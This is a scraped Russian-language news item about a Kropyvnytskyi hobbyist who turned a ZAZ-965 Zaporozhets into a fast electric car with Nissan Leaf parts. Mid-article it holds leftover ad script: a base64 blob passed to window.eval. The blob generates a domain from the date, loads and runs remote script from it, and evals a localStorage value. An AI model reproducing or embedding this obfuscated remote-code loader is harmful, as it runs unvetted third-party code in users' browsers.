Украинец из Кропивницкого превратил раритетный «Запорожец» ЗАЗ-965 в электромобиль.
Об этом пишет «Авто 24».
Изначально умелец установил на «Запорожец» двигатель, который сделал сам, а батарею сложил из части тягового аккумулятора от Nissan Leaf. Использовал 9 модулей – так называемых «консервов», которые выдавали 3,9 кВт. На одной зарядке автомобиль проезжал 55 км летом и 30 км зимой (с работающим обогревателем).
Однако через несколько лет изобретатель захотел сделать свое творение более динамичным. Попробовав еще несколько вариантов, он оснастил машину штатным двигателем от Nissan Leaf. Для того, чтобы он «отдавал» всю свою мощность — 200 кВт, умелец установил на авто тяговой контроллер собственного производства на основе блока от Chevrolet Volt. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Для того, чтобы добиться максимального крутящего момента, украинец установил широкие колеса большого диаметра, что потребовало переделки задней подвески. Из-за солидных габаритов колес также пришлось увеличить вырезы задних колесных арок.
Во время тестовых заездов 52-летний «Запорожец» легко превысил скорость 100 км/ч, сотню он набрал за 6,43 с. При этом, на авто пока стоит временная маленькая батарея мощностью 7 кВт. Конструктор планирует заменить ее полноценным 400-вольтным аккумулятором, который обеспечит двигателю желанные 200 кВт. (adsbygoogle = window.adsbygoogle || []).push({});
Подписывайтесь на Акцент в
Источник: https://akzent.zp.ua/zaporozhets-prevratili-v-elektrokar-nabiraet-sotnyu-za-6-sekund-foto/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
